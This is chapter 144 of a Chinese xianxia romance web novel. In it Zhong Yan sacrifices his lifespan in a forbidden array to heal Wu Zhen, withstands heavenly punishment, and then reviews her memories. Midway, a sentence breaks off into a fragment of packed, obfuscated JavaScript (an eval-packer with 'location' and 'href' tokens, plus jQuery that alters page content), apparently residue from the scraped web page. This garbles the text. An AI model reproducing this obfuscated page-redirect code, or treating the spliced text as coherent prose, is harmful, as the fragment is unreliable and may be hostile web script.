144. 第 144 章

    “瑧儿!”


    钟延两指点着额心,召神印入吴瑧额心,紧接着开出空间裂缝,抱起人一脚跨进钟山。


    濮长新和涪江正巧在主殿外,看见钟延一行急匆匆出来,又见瘦得颧骨微凸的吴瑧,慌忙迎上去。


    “神主……”


    片刻后,全部人,除了钟山的弟子,被拉入修神御界。


    “开溯魂阵。”


    “神主使不得啊!”濮长新和凤彩双双跪下,前者劝道,“此阵乃三大禁咒之一,违背天道,会降道罚啊!”


    “我最后说一遍。”钟延冷声命令,瞳光由黑透出猩红,像要暴走,“开溯魂阵。”


    “侄儿,吴姑娘,不,侄媳妇还有生气,咱们再想想办法。”


    钟元常一生未娶妻生子,把侄子当作儿子疼,钟延继任后,平日都唤他神主,此刻称侄儿,希望能唤起他对自己这个有血缘的嫡亲大伯的怜悯,不要意气用事。


    “没了她,没了你们,我要山河相陪做什么?自小你们所有人都让我看透,骨肉亲情,族人师长之情,真挚之情,谁能舍离?让我如何看透?”


    他们说话的间隙,苍梧小声问秦莫:“你知道什么是溯魂阵吗?”


    “嗯,与吴瑧将自己的劫应承给别人类似,以自身寿数和修为献祭,换得他人灵根再生。”


    “能换多少寿数?”


    “不清楚,除此之外,要承受道罚,以吴瑧的状态,他一人恐怕承载不了这术,可能跟钟山人一贯修行的术法有关,咱们插不了手,是以要把这些老匹夫拉进来。”


    胡长恩也劝道:“神主,钟山上万年来积攒的厚德一朝在你身上,你莫要辜负了祖辈的殷切之愿。功成之后,亘古河山作陪岂不快活?”


    “你们不肯,是么?”


    长老们沉默。


    钟延苦笑一声,俯身吻了吻吴瑧的额头,起身时,一双血泪缓缓流下。


    在场之人脸色皆变,涪江慌忙摸到腰间的灵药袋,“糟糕,神主怕是又要犯病。”


    可他终究还是松开手,即便药拿出来,钟延也不会吃。


    钟延偏开自己脸上有血的部位,侧脸贴着吴瑧,眼角也流下一段血,把人抱得很紧,“瑧儿,我陪你。”


    说着,周身燃起熊熊灵火,火苗飘燃,衣摆猎猎,就要烧到身上。


    钟延笑着看着吴瑧,轻轻拭去她呕了半边侧脸的血。


    “如今钟山康宁,南疆安乐,不孝子孙先行一步,各位可另行匡扶少主,我死后必不会降下灾祸,定会用最后的神魂之力找黑云佬同归于尽。”


    眉心神印大亮,一道魂瓣连着淡淡的魂索,立于灵火外,神情悲戚。


    魂瓣化成的身影渐浓,连接的魂索却在变淡。


    钟延身体一紧,抿紧了的唇拦不住胸腔顶出的血。


    “神主!”


    “贤侄!”


    苍梧的瞬移术还没使出来便被秦莫断开,后者道:“两年了,你还不知钟兄心意么?若吴瑧活不成,他也不会独活,你拦不住。”


    净水之上,灵水大涨,一众长老联手,十道水墙接连砸向灵火阵。


    但是集所有长老之力唤的灵水阵攻不破烈火。


    长老们再起阵,十条水龙咆哮,刚一触碰灵火,尽数败下阵来,散成漫天水花,落入净水。


    “神主快停下,我护阵!”涪江首先坐下捏诀,接着是凤彩、胡长恩、钟元常……


    最后只剩濮长新一人。


    他不明白,钟延生来带着叱咒,看着他长大,这位心思深沉,从不感情用事,到底经历了什么,会变成这样难劝的情种。


    遥想当年,骈城发生那件事后,时逢钟山迎难,身怀六甲的老神主夫人中了叱咒。


    原本肚中的孩子怀象初期便得钟山祖先降临神力,承席上古钟山之力,是全族人的希望。


    可还未出生便中了叱咒,这份希望仿佛难中的稻下薪火,才燃起焰苗便遭泼天大雨。


    这孩子生性要强,在胎中虽无自主意识,但全凭求生本能运转灵力抵抗叱咒的侵蚀。


    降生不过月余,被老神主下令放雪地里,催他增长求生意志。


    换作别的婴孩早哭死雪中,但他啼了小半日,催动灵力护体,还本能地吸食山灵精华,月余便断了奶。


    后来会走了,即使身体不爽也不会吭一声,也很给钟山争气,涅墟境起步却不沾沾自喜,从小学什么一点即通。


    钟延自小身体不好,性子也闷,他们这些长老年事已高,不懂得如何跟孩子们相处,好在那时与钟山交好的神族不算少,到底是孩子,每月最开心的事便是跟阴梦筠,还有其他一些孩子伴玩。


    他母亲绝冠芳华,儿子也像瓷娃娃,眼睛尤其明澈,声音也动人,其余那些孩子总喜欢粘在他身边。


    他性子冷淡,唯有爱笑爱讨人说话的阴梦筠能撬开他话匣子说几句。


    到了晚间,那些孩子要父母亲或族里长老催促才依依不舍地回族。


    可世子跟旁人不同,不用大人催促,自己自觉回殿中,关上门修炼,是以老神主总说他生的儿子像父亲。


    到了十二三岁的年纪,旁人酷爱打扮,哪怕是谁家的世子,也总听他们大人说在家挑挑拣拣装扮。


    他们的世子向来沉静,从小爱只穿跟灵力颜色相近的衣裳。


    那年钟山隐隐显现迎难失败的征兆,老神主为扛劫难,身体一日不如一日。


    曾经一同玩耍的那些孩子渐渐不来钟山了。


    那日阴梦筠上山道别,走时候濮长新也在,二人两小无猜,大人们已默认这位为未来的世子夫人。


    濮长新还记得他们分别的话。


    那天本来是各族世子殿下聚在一块儿的日子,一个人没来,午后阴梦筠来了,很快也要走。


    飞马等在钟山外的虹道,世子只问了一句:“我们以后还见面吗?”


    对方回:“世子保重,梦筠会给您传书。”


    自那之后,钟延每年春日书信去烛阴族,都未得到回音。


    再后来,他便用易容术掩盖真容,只有家中大人知晓他的真实面容。


    他不说,但族里人看得出来,钟延总介怀神女的作为。


    濮长新作为过来人却见得多,兴时花草聚,败时鸟俱散,这也无可厚非。


    往事如光影一幕幕浮现,快速掠过脑海,濮长新的目光落在钟延的怀抱。


    两年前吴瑧被逼下山,没有任何纠缠,还救他一命,他也犹豫过,为了家族荣光,这般为难一个后生晚辈实在不像人。


    老神族死前嘱托,若因缘际会,让钟延迎娶烛阴族梦筠神女,亲上加亲。


    濮长新重重叹了口气,为了这句话,他好像真的做错了。


    围着钟延阵眼的位置,最后一个阵点还空着,濮长新瞬移坐下,与其他人联手起阵。


    钟延看了他一眼,断了灵火,小心放下吴瑧,把古灵镯套她右手腕上,用秘符隐去。


    净水以肉眼可见的速度降低,钟延收回魂瓣,指锋割开心口,以心头血起阵,寿元被吸入阵中。


    渲白的天空突然暗沉下来,众人抬眼望去,只见御界上空被什么撕裂,在吴瑧心口亮起的同时,血色雷电遥遥轰鸣,应声劈下。


    钟延一头黑发迅速褪去,显露出雪白的颜色。


    阵成,钟延震出灵波,把各位长老推远,起手护住吴瑧,把人放在阵眼位置,让她继续吸食溯洄阵中的灵韵,接而拔地冲天,化出原身,与道罚相抗。


    雷电大涨,穿过蛇身,大蛇嘶吼悲鸣,扭曲着身体下行,于半途拦截住电光,用原身生生扛了一击。


    溯洄阵就快结束,血色电光穿过蛇身再度下行,钟延疼得抽搐,意识强行控制住原身,这次却没来得及挡住。


    “不!”蛇嘴呕出血瀑。


    击到溯洄阵的一霎,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15149579|146419||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    凤缕扇、古灵镯,还有秦莫和全部长老联手起阵,勉强挡住一击。


    神器震响缩成原样,所有人被掀翻,雷电灵束回退了一小段距离,接着下刺。


    在触到吴瑧的一刹那,阵光消失了。


    钟延垂直下落,在半空化回人形,身上映出几十道血痕,几乎摔在水面上。


    芷期见他伤得最重,先帮他疗伤。


    钟延见吴瑧吐息均匀,探灵根,隐隐发光,露出笑容。


    他抬手唤化出两团气云,点了一滴血在吴瑧眉心,两人的额头散出光亮。


    紧接着,左边的气云中显出凭澜府宜居地护山大阵外的三道瀑布,右边的气云模糊显出吴瑧的身体面容。


    “神主不可啊!”濮长新远远跪下,“您刚承受道罚,现下翻看记忆,会遭反噬啊。”


    “你别劝了。”涪江瞬移到吴瑧身边,给她把脉,“神主想知道神主夫人这两年发生的一切,让他看吧,我在,不会有事,只是神主,神主夫人的灵根还很虚弱,您亲为溯洄阵阵眼,情绪莫要太激动,接下去还需您养灵根。”


    “好。”钟延终于肯听劝,伸手道:“给我护灵丹和护心丸。”


    看到吴瑧应承道罚呕血倒地,他已经有些承受不住。


    “另外,神主夫人……”


    “你们唤她神女吧,她暂时不会想被唤成我夫人。”钟延接过秦莫递来的灵袍,给吴瑧披好。


    “再容我准备些时日,需以养灵大阵开识海,否则性命……”涪江温声提醒,“神主,您有个心理准备,即便开了识海,神女的灵根灼伤得实在厉害,养回来有些难度。”


    钟延捂着她掌根变形了的冰冷的左手,“再难养,我也要养。”


    吴瑧昏迷了十天,众人看了十天她的记忆。


    钟延不想跳过任何一个细节,但秦莫劝他养养身体,好准备为吴瑧养灵,他才省去许多。


    看完记忆,钟延心痛难挡,再度呕血。


    “我的瑧儿才二十出头,经历了这些,如何还会想活。”


    “事已至此,你再悲痛也无济于事。”秦莫抹了抹干黏的眼下泪痕,“大家一同出力,把这傻孩子救回来。”


    钟元常:“是啊神主,先把神女挪去暖阁。”


    “不必,瑧儿不会想待在钟山。”


    “可……可神女是您夫人,怎能不在钟山。”


    涪江扫去眼神,示意他别刺激钟延,“慢慢来吧。”


    他思索片刻道:“不如这样,各位先暂回骈城外的药修据点落脚,有劳西陵姑娘在身侧照顾,我与师兄弟们一同准备养灵大阵,神主,您也要顾惜自己身体,有需要的地方我会传音。”


    钟延点点头,接过药瓶引入珍宝袋。忽然想起什么,手指探到吴瑧腰间,取出落雨恋。


    把人抱起来的时候才感觉身体抱恙,单脚跪了下来,幸好没磕到吴瑧。


    在秦莫和苍梧的搀扶下出了御界,怎么回到药修据点的已经记不清了,好在一觉醒来她还在,可能快要苏醒,总睡不安稳,不是轻声啜泣,便是呓语绚儿。


    从前她睡着只是在平躺和侧卧间变换姿势,如今总是蜷成一团,缩进被子,两手抱在身前。


    一有风吹草动,便像惊慌一跳的兔子。


    眼睁开却不清醒,安魂咒入眉心才又能枕眠,过不多久又惊一跳,下意识看向背后,再次迷迷糊糊睡晕过去。


    明面上有银娘照顾,她很细心,钟延很感激,也不用担心。


    但是知道吴瑧恐怕一时半会儿不想见到自己,每次给她下安魂咒便戴上落雨恋,坐在墙边的木长凳上。


    秦莫也一起戴上链子陪着,顺带给他疗伤。


    “钟兄,不如你就顶着这头白发,兴许吴瑧心疼你,还能成为跟你和好的契机。”


    “幸亏有你提醒。”


    钟延把发色变回墨黑,总有一天要摘掉落雨恋,不能给吴瑧看见。